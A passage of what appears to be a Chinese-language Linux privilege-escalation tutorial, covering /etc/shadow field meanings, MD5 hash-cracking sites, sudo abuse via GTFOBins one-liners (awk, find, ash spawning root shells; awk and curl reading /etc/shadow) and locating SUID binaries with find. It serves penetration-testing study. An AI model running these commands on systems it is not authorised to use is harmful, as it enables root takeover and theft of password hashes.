1 2 3 4 5 6 7 8 9 1. 用户名 2. 加密后的密码 3. 上次修改密码的时间(从1970.1.1开始的总天数) 4. 两次修改密码间隔的最少天数,如果为0,则没有限制 5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提 6. 前多少天警告用户密码将过期 7. 在密码过期之后多少天禁用此用户 8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用 9. 保留
https://cmd5.com/ https://www.somd5.com/
滥用的SUDO权限
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
https://www.runoob.com/linux/linux-comm-sudo.html https://blog.csdn.net/netlai/article/details/79727187
1 2 sudo配置文件:/etc/sudoers 配置文件权限:0440
sudo -l:显示出自己(执行sudo的使用者)的权限
sudo –s:执行环境变数中的shell所指定的shell,或是/etc/passwd 里所指定的shell
https://gtfobins.github.io/
1 2 3 4 5 sudo /bin/ash sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}' sudo curl file:///etc/shadow sudo find . -exec /bin/sh \; -quit
SUID权限提权
启动为进程之后,其进程的属主为原程序文件的属主
只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
执行suid权限的程序时,此用户将继承此程序的所有者权限
find命令 查找拥有suid权限的文件
1 find / -perm -u=s -type f 2>/dev/null
https://gtfobins.github.io/
Linux提权工具